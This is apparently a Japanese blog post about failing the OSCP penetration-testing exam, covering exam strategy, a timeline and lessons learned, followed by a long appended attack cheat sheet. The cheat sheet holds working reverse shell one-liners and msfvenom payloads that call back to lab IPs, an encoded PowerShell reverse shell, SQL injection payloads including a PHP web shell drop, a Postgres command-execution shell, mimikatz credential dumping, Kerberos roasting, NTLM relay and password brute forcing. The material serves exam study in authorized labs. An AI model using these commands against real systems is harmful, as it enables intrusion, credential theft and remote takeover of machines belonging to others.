はじめに
皆様、はじめまして。某IT企業に勤めているnakajimeeeeと申します。
先日、OffSec社(旧Offensive Secuiry社)のOSCPに挑戦し、不合格になりました。
自分に足りなかったスキルや反省するべきところはどこなのか分析し、同じくOSCP取得を目指している人の参考になればと思い、体験記を執筆しました。合格体験記は巷にあふれているので、そういった意味では少し特異な体験記かもしれません。長文になりますが、お付き合いいただけると幸いです。
また、受験にあたって、チートシートを作成しました。誰かの役に立つかもしれないので、チートシートも併せて公開します。
目次
- OSCPとは
- OSCP取得を目指したきっかけ
- トレーニング前の事前知識
- トレーニング期間(2023年5月~8月)に実施したこと
- 試験合格への戦略
- 試験当日
- 自分に足りなかったスキル・反省点
- 最後に
- Appendix(作成したチートシート)
OSCPとは
OSCPとは、主催しているOffsec社のウェブサイトから引用すると、以下の通りです。
The OSCP is considered to be more technical than other ethical hacking certifications and is one of the few that requires evidence of practical penetration testing skills.
OSCPは、他の倫理的ハッキング認定資格よりも技術的であると考えられており、実践的な侵入テストのスキルを証明する必要がある数少ない資格の1つである。
つまり、ペネトレーションテストに関する試験であり、実践的なスキルを証明する資格の一つです。
レポーティングも含めると、48時間連続で試験を行うという、非常にハード、かつ、厳格な試験となっています。また、試験単体で受験することはできず、Offsec社の用意した膨大なトレーニングを実施する必要があります。したがって、OSCPは、ペネトレーションテストにおける基本知識を有している、ということを証明するのに十分な資格と言えるでしょう。詳細は、Offsec社のウェブサイトをご覧ください。
OSCP取得を目指したきっかけ
私がOSCPを目指したきっかけは、大きく以下の二つです。
この二つについて、自分のこれまでのキャリアを少し紹介しながら、説明いたします。
- Offensive Securityに憧れがあったから
- 目指す人材像において、実技の試験以外では意味がないと感じたから
Offensive Securityに憧れがあったから
極論を言ってしまえば、攻撃者がいなければ、セキュリティは必要ありません。その意味において、セキュリティは攻撃者目線で考えることが非常に重要だと考えています。しかし、実際に攻撃者目線でセキュリティを考えられる人は、自分も含め、周りを見てもあまりいない印象を持っています。そういった意味で、攻撃者目線でのセキュリティを考えられる人に対して、尊敬と憧れを抱いており、思い切ってOSCPを受験してみました。
目指す人材像において、実技の試験以外では意味がないと感じたから
私が目指す人材像は、現場で手を動かすことができ、さらに現場での経験を踏まえて、顧客に対して有益な提案をできる人材です。現在は、同社のセキュリティ部門に所属していますが、新卒で入社した2019年から2023年3月末までの4年間、営業を担当していました。そこで痛感したことは、顧客の持つ真の課題を知るためには、現場を知る必要があるということです。現場を知るためには、いくつか方法があると思いますが、最短のルートは実際に手を動かして、セキュリティ運用や開発に関わることと考えています。実際に手を動かすことで、初めて見えてくるものが数多くあると信じています。したがって、暗記だけで乗り切れるような試験ではなく、実際に実技を見られるOSCPを選択しました。
これは、完全に蛇足ですが、営業担当時代の上司から、以下のようなことを言われたことも、OSCPを選択したことに影響しています。。。笑 この発言を受けたのは、CISSPを取得した後であり、この人に対しては、CISSPはスキルを持っている証明にならないんだ、とひどく落ち込んだ記憶があります。
どうしてこれが顧客の課題だと思ったの?
手を動かしたこともないし、もちろん、実際の運用にも関わったことないよね?
しっかりとセキュリティの有識者に対して、確認をしてから顧客に提案しようね。
トレーニング前の事前知識
営業担当として、セキュリティの提案をするにあたって、基本的な知識は身につけておく必要があると思い、以下の資格を取得しています。
- 情報処理安全確保支援士(本登録はしていないので、野良です)
- CISSP(準会員)
また、ペネトレーションテストの基本的な事項を学ぶことのできるTryHackMeで、情報収集~権限昇格の簡単な演習を実施しました。
トレーニング期間(2023年5月~8月)に実施したこと
OSCPでは、試験を受ける前に、以下を推奨しています。
- 850ページを超える膨大な資料の読み込み
- 上記資料に紐づく演習
- 実際の環境を模したマシンの攻略(50台以上のマシンが用意されています)
TryHackMeでなんとなくの流れは知っていたものの、体系的な知識を身につけたいと思い、1~3すべてを実施しました。なお、各章ごとの演習を80%以上実施、かつ、30台以上のマシンを攻略することによって、試験で10ポイントがボーナスポイントとして付与されます(後述しますが、試験合格には10ポイントは非常に大きいです)
試験合格への戦略
OSCPにおいては、100点満点中、70ポイント以上を取得し、かつ、詳細なレポートを提出することで、合格となります。
ポイントの配分は以下の通りです。
- Active Diretory(AD)に属する3台のマシン(40ポイント、部分点無し)
- 外部から侵入できるマシン × 1
- 上記を踏み台にして侵入できるマシン × 1
- ドメインコントローラー × 1
- スタンドアロンのマシン × 3台(各20ポイント)
- 低特権で取得できるフラグ(10ポイント)
- 高特権(rootやadmin権限)で取得できるフラグ(10ポイント)
したがって、70ポイントを取得するためには、以下のシナリオが考えられます。
ボーナスポイントの存在により、試験合格へのハードルが下がっていることがわかると思います。
1. AD + スタンドアロン(高特権)× 1 + スタンドアロン(低特権)× 1
2. AD + スタンドアロン(低特権)× 3
3. AD + スタンドアロン(高特権)× 1 + ボーナスポイント
4. AD + スタンドアロン(低特権)× 2 + ボーナスポイント
5. スタンドアロン(高特権)× 3 + ボーナスポイント
スタンドアロン3台を完全に攻略するのは相当難しいと考え、AD + スタンドアロン(高特権)× 1 + ボーナスポイントで、70ポイント取得を目論んでいました。
40ポイントが先に取得できると精神的な安心を得られるため、ADの攻略からはじめ、そのあとにスタンドアロンの攻略を実施しようと戦略を立てました。(同時期に試験を受けるDiscord上で知り合った人から、ADが難しかったと聞いていましたが、何とかなるだろうと高をくくっていました。。。)
試験当日
おおよその時系列は以下の通りです。
ボーナスポイントを含め、合格点まで残り10点足らず不合格、という結果でした。
※ 取得ポイントはボーナスポイントを含めています。
時刻 | 出来事 | 取得ポイント |
---|---|---|
11:00 | 試験開始 | 10 |
11:45 | ADマシンの初期侵入に成功 | 10 |
15:00 | 権限昇格の糸口が全く見えず、焦り始める | 10 |
16:00 | いったん、ADマシンはあきらめ、スタンドアロンの攻略に取り掛かる | 10 |
19:00 | 1台目のスタンドアロンの低特権を取得 | 20 |
20:00 | 上記マシンの高特権を取得 | 30 |
23:00 | 2台目のスタンドアロンの低特権を取得 | 40 |
24:00 | 上記マシンの高特権を取得 | 50 |
02:00 | 3台目のスタンドアロンの糸口が全く見つからず、再度、ADマシンの攻略に戻る | 50 |
04:00 | ADマシン攻略に進展が見られなかったため、スタンドアロンの攻略に専念 | 50 |
06:00 | 3台目のスタンドアロンの低特権を取得 | 60 |
09:00 | 権限昇格の糸口を見つける | 60 |
10:45 | 権限昇格できず、試験終了 | 60 |
こちらの時系列を見ていただくとお分かりかと思いますが、ADマシンの攻略とスタンドアロンの攻略を行ったり来たりしています。
70ポイントを取得するという目的からすると、2台目のスタンドアロンを攻略した後は、3台目に専念するべきだったにも関わらず、ADマシンに時間を割いてしまっています
自分に足りなかったスキル・試験での反省点
自分に足りなかったスキル・試験での反省点は、大きく3つだと考えています。
- 効率的かつ効果的なNote Takingが出来ていなかったこと
- 権限昇格において、ツールに頼りすぎたこと
- 戦略を柔軟に変えられなかったこと
効率的かつ効果的なNote Takingが出来ていなかったこと
Note Takingの目的は、収集した情報を構造化・整理し、ペネトレーションテストを効率かつ効果的に行うことです。Note Takingの重要性は分かっていたものの、トレーニングの中でしっかりNote Takingの練習はせずに、試験に臨んでしまいました。
権限昇格において、ツールに頼りすぎたこと
試験のどこで詰まってしまったのか振り返ると、権限昇格が上手くいかず、ポイントが取得できませんでした。
- ADマシンの権限昇格
- スタンドアロンマシンの権限昇格
権限昇格では、linpeas等の自動列挙ツールを使えば、どこかで糸口が見つかると高をくくっていました。しかし、OSCPのトレーニングの中でも、自動列挙ツールは抜け漏れがあるため、手動での列挙が重要との文言がありました。そこをおろそかにし、自動列挙ツールの出力に頼り切ってしまったため、権限昇格の糸口を見逃してしまったのではないかと、考えています。見つけた情報を、Note Takingでしっかり整理することで、網羅的な検証ができると考えています。
戦略を柔軟に変えられなかったこと
試験に合格することだけを考えるなら、この部分が一番の致命傷だったと考えています。
AD + スタンドアロン(高特権)× 1 + ボーナスポイントではなく、スタンドアロン(高特権)× 3 + ボーナスポイントへ早い段階で切り替えていれば、合格点に達していたかもしれません。試験の中で、各マシンの難易度を見極め、合格点に達するまでのシナリオを変更することが最重要だったと考えています。
最後に
長文にお付き合い頂きありがとうございました。
この記事が、これからOSCPの受験を予定している人にとって、何かの役に立てれば幸いです。
Appendix(作成したチートシート)
OSCP Cheet Sheet
Table of Contents
-
Windows
-
Linux
-
Tools / Protocols
Windows
Enumeration
-
ユーザー検索
Get-LocalUser
-
グループ検索
Get-LocalGroup
-
グループメンバーの検索
Get-LocalGroupMember <GroupName>
-
ファイル検索
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx, *.zip, *.config, *.kdbx, *.ini -File -Recurse -ErrorAction SilentlyContinue
-
プロセス検索
Get-Process <ProcessName>
- プロセスに紐づくバイナリ検索
Get-Process | ForEach-Object {$_.Path}
-
サービス
- サービス一覧
sc.exe query
- サービス一覧 - サービス名 + 状態
sc.exe query | findstr /R "SERVICE_NAME STATE"
- 自動実行サービス
Get-CimInstance -ClassName win32_service | Select Name, PathName, StartMode
- サービス開始
Start-Service <Service Name>
sc[.exe] start <Service Name>
- サービス終了
sc[.exe] stop <Service Name>
- サービス一覧
-
スケジュールタスク
schtasks /query /fo LIST /v
-
PATHの表示
$env:path
-
保存済みのWindowsクレデンシャル表示
cmdkey /list
-
アプリケーション
- インストールアプリケーション一覧
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
- インストールアプリケーション一覧
-
ホスト上の時刻表示
(get-date).ToString('T')
-
icacls <FileName>
-
SMB
- share enumeration
enum4linux <TargetIP>
smbclient -U '<DomainName>/<Username>%<Password>' -L //TargetIP/
smbclient -L //TargetIP/ -N
- share enumeration
Privilege Escalation
- Unquoted Service Paths
powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
- Service Binary Hijacking
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
- SeImpersonatePrivilege
- PrintSpoofer
- Named pipeの悪用
.\PrintSpoofer64.exe -i -c powershell.exe
-
JuicyPotatoNG
.\JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c C:\Users\Public\reverse.exe"
- PrintSpoofer
Enumeration Active Directory
- Data Collection
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\xxx\ -OutputPrefix "xxx"
- Analysis
sudo neo4j start
-
bloodhound
- User Enumeration
MATCH (m:User) RETURN m
- Machine Enumeration
MATCH (m:Computer) RETURN m
- Find Relationship between users and machines
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
- Find DomainAdmin
Find all Domain Admins
- Find Kerberoastable
List all Kerberoastable Accounts
- User Enumeration
Attacking Active Directory
- AS-REP Roasting
- Do not require Kerberos preauthentication is enabled
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
hashcat -m 18200 <hashfile> <Wordlists> -r <rule> --force
- Kerberoasting
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
hashcat -m 13100 <hashfile> <Wordlists> -r <rule> --force
- mimikatz
- メモリに保存されているクレデンシャルを抽出
-
privilege::debug
sekurlsa::logonpasswords
lsadump::dcsync /user:<Domain\<TargetUsername>
hashcat -m 1000 <hashfile> <Wordlists> -r <rule> --force
-
crackmapexec
- Active Directory networksのセキュリティ評価に使用
crackmapexec <protocol> <protocol options> <TargetIP> -d <DomainName> -u <Username> -p <Password>
- クレデンシャルごとに試行
cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes
- Adding --local-auth to any of the authentication commands with attempt to logon locally
--local-auth
- Cracking Net-NTLMv2
- kali linux(tun0)に対して、ウェブアプリケーションやマシンからshareにアクセスさせることで、NTLM Hashを取得可能
sudo responder -I tun0
- Access my share (dir \192.168.45.156\test etc)
Linux
Enumeration
- ファイル検索
find . -type f -name "*.txt" -or -name "*.html" 2>/dev/null
find <directory name> -user <User name> 2>/dev/null
find <directory name> -group <Group name> 2>/dev/null
Privilege Escalation
- SUIDを持つプロセス一覧取得
find / -type f -perm -04000 -ls 2>/dev/null
- 書き込み可能領域取得
find / -writable 2>/dev/null
- Path追加
export PATH=/tmp:$PATH
- プロセスモニタリング
- スナップショット
ps aux
- 継続監視
watch -n 1 "ps -aux | grep xxx"
./pspy64 -p
- https://github.com/DominicBreuker/pspy
- スナップショット
- /etc/passwdの設定ミス悪用
openssl passwd w00t
echo "root2:<encrypted password>:0:0:root:/root:/bin/bash" >> /etc/passwd
- 権限昇格に活用可能なプロセス一覧
Lateral Movement
-
PsExec
- リモートでシェル実行するツール
- 実行可能条件は以下
- Administrators of local group
- ADMIN$ share must be available
- File and Printer Sharing has to be turned on
impacket-psexec [domain/]Usename[:password]@TargetIP
impacket-psexec -hashes 00000000000000000000000000000000:<NTLM hash><UserName@<TargetIP>
- impacket-mssqlclient
- mssqlでlocal adminの場合、使用可能
impacket-mssqlclient oscp/sql_svc:Dolphin1@10.10.94.148 -windows-auth
- Relay Attack
- SMB shareにウェブアプリケーションや内部ネットワークからアクセスし、認証に使うhashを異なるマシンへリレー
sudo impacket-ntlmrelayx --no-http-server -smb2support -t <targetIP> -c "<RelayCommands>"
- 192.168.50.242に対して、NTLM Hashをリレーして認証し、powershell reverse shellをそのマシン上で実行
nc -nlvp 4444
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.242 -c "powershell -enc JABjAGwAaQ..."
- Windows Remote Management(WinRM)
- Windows を遠隔で操作する仕組み
- LinuxのSSHライクな仕組みを提供
- Default port:5895
-
Evil-WinRM
- リモートのWindowsサーバーで稼働しているWinRMサービスに接続
evil-winrm --ip <Target IP> --user <Username> --password <Password>
evil-winrm --ip <Target IP> --user <Username> --hash <NTLM Hash>
- WinRMは動作が不安定な場合がある。そのトラブルにはこちら参照
- Windows Remote Desktop(RDP)
- Default port:3389
-
xfreerdp /u:<UserName> /p:<Password> /d:<DomainName> /v:<TargetIP> /drive:<TargetMount>, <SouceMount>
xfreerdp /u:yoshi /p:Mushroom! /d:medtech.com /v:172.16.222.12 /drive:tmp, /tmp
- Tunneling
-
HTTP Tunneling using chisel
- 内部ネットワーク上のウェブアプリケーションに対して、アクセスする際に活用
- Server
./chisel server -p <ResersePort> --reverse
- Client
.\chisel.exe client <ServerIP:port> R:<ReversePort>:<DestinationIP>:<DestinationPort>
- 例1
- 192.168.45.244:8080のサーバーに対して、リバースで接続。localhostのport80にアクセスすると、172.16.106.20:80へアクセス
./chisel server -p 8080 --reverse
.\chisel.exe client 192.168.45.244:8080 R:80:172.16.106.20:80
- 例2
- 192.168.45.244:8080のサーバーに対して、リバースで接続。待ち受けているsocks proxy(port:1080)にアクセスすると、任意のアドレス・ポートへフォワード
./chisel server -p 8080 --reverse
.\chisel.exe client 192.168.45.244:8080 R:socks
-
SSH Tunneling
- Local Port Forward
- localhostのport9999にアクセスすると、192.168.45.156:443へport forwardする
ssh -N -L 0.0.0.0:9999:192.168.45.156:443 kali@192.168.45.156
- Dynamic Port Forward
- localhostのport9999にアクセスすると、192.168.45.156の任意のポートにforwardする
ssh -N -D 0.0.0.0:9999 kali@192.168.45.156
- Reverse Dynamic Port Forward
- kali上で、localhostの1080にアクセスすると、内部ネットワークの任意のポートにforwardする
ssh -N -R 1080 kali@192.168.45.241
socks5 127.0.0.1 1080
- Local Port Forward
-
Password/HASH Cracking
- SSH
ssh2john id_rsa > id_rsa.hash
john --wordlist=<WordlistPath> id_rsa.hash
- /etc/shadow
unshadow /etc/passwd /etc/shadow > johnpasswd
john --wordlist=<WordlistPath> johnpasswd
- KeePass Database file (.kdbx)
keepass2john Database.kdbx > Keepasshash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt
open KeePassXC (Kali Linux)
- ZIP
zip2john secret_files.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
- SAM
- Security Account Manager
- ユーザーアカウントやアクセス権についてのセキュリティ設定を管理するサービスで、NTLMハッシュ値等を格納
- 格納例
- Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- LT:aad3b435b51404eeaad3b435b51404ee
- NTLM:31d6cfe0d16ae931b73c59d7e0c089c0
- Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- Dumping
python creddump7/pwdump.py <system hive> <SAM file >
-
Online Cracking
- 既存のハッシュ値を見つけることが可能
- hashcatやjohnでクラックできない場合に使用
- hashcat
hashcat -m 13400 Keepass.hash /usr/share/wordlists/fasttrack.txt -r /usr/share/hashcat/rules/best64.rule --force
- Hydra
hydra -V -f -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form '/user/login.php:username=^USER^&password=^PASS^:Invalid Password!'
SQL Injection
- Error-based Payloads
offsec' OR 1=1 -- //
' or 1=1 in (select @@version) -- //
' OR 1=1 in (SELECT * FROM users) -- //
- UNION-based Payloads
- カラム数の特定
- カラム数を超えるとエラーの出るため、エラーの出る値N-1がカラム数に等しい
' ORDER BY N -- //
- データベースの列挙
' UNION SELECT database(), user(), @@version, null, null -- //
- カラム1はidに割り当てられていることが多いため、必要に応じて、カラム1に該当する部分はnullにする
- テーブルとカラムの列挙
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
- カラム数の特定
- Blind-based Payloads
' AND 1=1 -- //
' AND IF (1=1, sleep(3),'false') -- //
' WAITFOR DELAY ‘0:0:3’
- Command Execution
-
MSSQLはコード実行が可能
EXECUTE sp_configure 'show advanced options', 1;RECONFIGURE;EXECUTE sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXECUTE xp_cmdshell 'whoami';
- MySQLは単体でRCEは不可能であるが、コードを埋め込むことで、間接的にRCEが可能
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
-
MSSQLはコード実行が可能
OS Command Injection
- Useful commands
- Windows
whoami
ver
ipconfig /all
netstat -an
tasklist
- Linux
whoami
uname -a
ifconfig
netstat -an
ps -ef
- Windows
- Ways of injecting OS commands
- Windows and Unix-based
&
&&
|
||
- Unix-based only
;
- sometimes
"
or'
works well to terminate the quoted context
- Windows and Unix-based
- Blind OS command injection
ping -c 10 127.0.0.1
whoami > /var/www/static/whoami.txt
Tools / Protocols
Online Reverse Shell
- 様々な言語や環境に応じたリバースシェルを作成可能
- Linux
/bin/sh -i >& /dev/tcp/192.168.45.241/4455 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.241 443 >/tmp/f
nc 192.168.45.241 443 -e /bin/sh
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=443 -f elf -o reverse.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.241 LPORT=9001 -f elf -o reverse.elf
- Windows
nc.exe 192.168.45.241 443 -e /bin/sh
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.45.241 LPORT=443 -f exe -o reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=443 -f exe -o reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=443 -f dll -o reverse.dll
Bash Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Powershell
- ファイルダウンロード
iwr -uri <URL> -OutFIle <Output Filename>
-
zipファイル解凍
Expand-Archive -Path C:\Users\.... -DestinationPath C:\Users\XXX\
- Hiddenファイルの表示
ls -Force
-
Building http server
$httpListener = New-Object System.Net.HttpListener
$httpListener.Prefixes.Add("http://localhost:9090/")
$httpListener.Start()
- Reverse Shell Oneliner
- Non encode
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.241:8000/powercat.ps1');powercat -c 192.168.45.241 -p 443 -e powershell"
- Encoded
pwsh
$Text = '$client = New-ObjectSystem.Net.Sockets.TCPClient("192.168.45.211",4444);$stream =$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | OutString );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText
powershell -enc $EncodedText
- Non encode
Metasploit
- Auto Routing
use multi/manage/autoroute
- Proxy
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
/etc/proxychains4.conf:socks5 127.0.0.1 1080
-
meterpreter
- システム情報取得
sysinfo
- プロセス一覧取得
ps
- ユーザーの確認
getuid
- 有効な特権の確認
getprivs
- ファイルを攻撃対象にアップロード
upload
- システム情報取得
Nmap
- topN portのチェック
nmap --top-ports <number of port> <Target IP>
-
UDPスキャン
sudo nmap -sU --top-ports 100 --open 192.168.xxx.xxx -oN nmap/192.168.xxx.xxx_UDP
ffuf
- 複数のwordlistを使用
ffuf -c -u http://192.168.204.147:8080/W1W2 -w /usr/share/wordlists/dirb/common.txt:W1,/usr/share/wordlists/dirb/extensions_common.txt:W2
- Virtual Host Discovery
ffuf -w /path/to/vhost/wordlist -u https://target -H "Host: FUZZ"
SNMP(Simple Network Management Protocol)
- SNMP is based on UDP, a simple, stateless protocol, and is therefore susceptible to IP spoofing and replay attacks.
- Default port:161
sudo nmap -sU --open -p 161 <TargetIP>
sudo nmap --script "snmp* and not snmp-brute" -p 161 -sU <TargetIP>
sudo nmap -sU -p 161 --script snmp-brute <TargetIP>
- OID(Object Identifier)
- System Processes(OID)
- 1.3.6.1.2.1.25.1.6.0
- Running Programs
- 1.3.6.1.2.1.25.4.2.1.2
- Processes Path
- 1.3.6.1.2.1.25.4.2.1.4
- Storage Units
- 1.3.6.1.2.1.25.2.3.1.4
- Software Name
- 1.3.6.1.2.1.25.6.3.1.2
- User Accounts
- 1.3.6.1.4.1.77.1.2.25
- TCP Local Ports
- 1.3.6.1.2.1.6.13.1.3
- System Processes(OID)
- Management Information Base (MIB)
- database containing information usually related to network management
-
snmpwalk
- SNMPマネージャ用のコマンド
- 指定したOID配下に含まれるすべてのOIDとMIBのサブツリー全体情報を取得可能
- Basic Command
snmpwalk -c public -v1 -t 10 <TargetIP> <OID>
- Useful commands
sudo snmpwalk -v 2c -c public <TagetIP> NET-SNMP-EXTEND-MIB::nsExtendObjects
Git
- .gitレポジトリを見つけたら、wget -r でダウンロード
-
repo-security-scanner
- CLI tool that finds secrets accidentally committed to a git repo, eg passwords, private keys
git log -p
SMTP
- メール送信
swaks --to <SendToAddress> --from <OriginAddress> --attach <AttachedFile> --server <TargetIP> --body <MailContent> --header <Subject> -ap
.NET
- デコンパイラ
ilspycmd <dotnet filename>
RunasCs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs
Technology stack
- 使用されているウェブアプリケーションスタックを検索
whatweb http://<TargetIP>
MySQL
- デフォルトポート:3306
- 接続方法
mysql -h 127.0.0.1 --user=myuser --password=mypass
- データベース一覧の表示
show databases;
- データベースの選択
use test_db;
- テーブル一覧の表示
show tables;
show table status;
Postgres
- デフォルトポート:5432
- サービスの起動
postgres -D /usr/local/var/postgres
- データベースとユーザを指定して接続
psql -d <Database> -U <Username>
- データベース
- 一覧の表示
\l
- 選択
\c <Database>
- 一覧の表示
- テーブル
- 一覧の表示
\dt;
- 一覧の表示
-
RCE
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec2 FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.241 443 >/tmp/f';
SQLite
- ファイル形式:.db
sqlitebrowser <Filename>
WPScan
- wordpressのバージョンや脆弱性をスキャン
- APIを活用することで、ウェブアプリケーションの脆弱性を探索可能
wpscan --url http://XXXXXX/WordPress/ -e vp --api-token xxxxxxxxxxxxxxxxxxxxxxxx
SSH
- Start SSH
sudo systemctl start ssh
VNC(Virtual Network Computing)
- ネットワーク上のコンピュータを遠隔操作するためのデファクトスタンダードなソフト
- デフォルトポート:5900
- 接続
vncviewer <TargetIP:Port>
-
パスワード復号
echo -n <encrypted Password> | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
tcpdump
- rawレベルのトラフィックを取得
- TCPトラフィックの取得
tcpdump -i <interface> -nn -vvv
- UDPトラフィックの取得
tcpdump -i <interface> udp -nn -vvv
netcat
- UDPトラフィックのリッスン
nc -nlvp <TargetPort> -u
File Transfer
- Local Host
nc -nvlp 1234 > <FileName>
- Remote Host
nc 10.10.14.6 1234 < <FileName>
Check Points if you get stuck
- 知らないモジュールやプロトコルはHackTricksで調べたか
- Nmap
- すべてのportは確認しているか(-p1-65535)
- UDP
- UDPスキャン(-sU)は試したか(SNMPは稼働していないか(port161))
- tftpは稼働していないか
- list機能がないため、NSE Scriptは試したか
nmap -sU -p 69 --script tftp-enum.nse <TargetIP>
- Exploit
- すべてのサービスをsearchsploitで確認しているか
- exploitDBに登録されているexploit以外に、PoCはないか
- カーネルレベルでのexploitは試したか
- exploitが動かないとき
- 指定しているreverse portは変更したか
- ターゲットマシンで、特定のportにしかアクセスできないようになっているかも
- port 80, 8080, 443等のcommon portを試してみる
- Payloadの名前を変更してみる(reverse.exe -> met.exe)
- インターナルのホスト同士のみの通信しか許可されていない場合はないか
- Kaliと通信したい場合には、トンネリングを作成しているか
- #!/usr/bin/python or #!/usr/bin/ or #!/bin/bashはスクリプトに付与しているか
- 指定しているreverse portは変更したか
- 空いているportに対して、telnetで接続し、HelpやHelloしているか
- パスワードがかかっているファイルがあったとき、クラックできるか試したか
- crackできないとき、rockyou.txtではなく、/usr/share/wordlists/fasttrack.txtを試してみたか
- IPアドレスをホスト名に変更してアクセスしてみたか(/etc/hosts)
- ffufでディレクトリが見つからないときは、ホスト名/ディレクトリで定めていることを疑う
- Default Passwordは試したか
- サービスによっては、admin:adminというように、ユーザー名と同じパスワードの場合がある
- 最初の文字を小文字や大文字で試しているか
- ffufでのenumerationは十分か
- seclists/directory-2.3-small.txtやmedium.txtは試したか
- 見つけたディレクトリを起点に再度、ffufを試したか
- Reverse shellが動かないとき
- nonstagedのshellを使っているか
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=80 -f exe -o reverse.exe
- nonstagedのshellを使っているか
- Crackmapexec
- これまで得たクレデンシャルは十分か?見落としがないか?
- crackmapexecで
--local-auth
をつけているか
- ハイジャックしようとしているサービスはユーザーを追加する権限を持っているか
- ユーザーの追加ではなく、リバースシェルを取るように変更したか
Trouble Shooting
-
Win32 internal error "Access is denied" 0x5 occurred while reading the console ...
$ProgressPreference = "SilentlyContinue"
-
cannot be loaded because running scripts is disabled on this system
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted
- Error opening terminal: unknown
export TERM=xterm
Others
-
Terminator
- kali linux best terminal
- 水平に分割
Ctrl + Shift + o
- 垂直に分割
Ctrl + Shift + e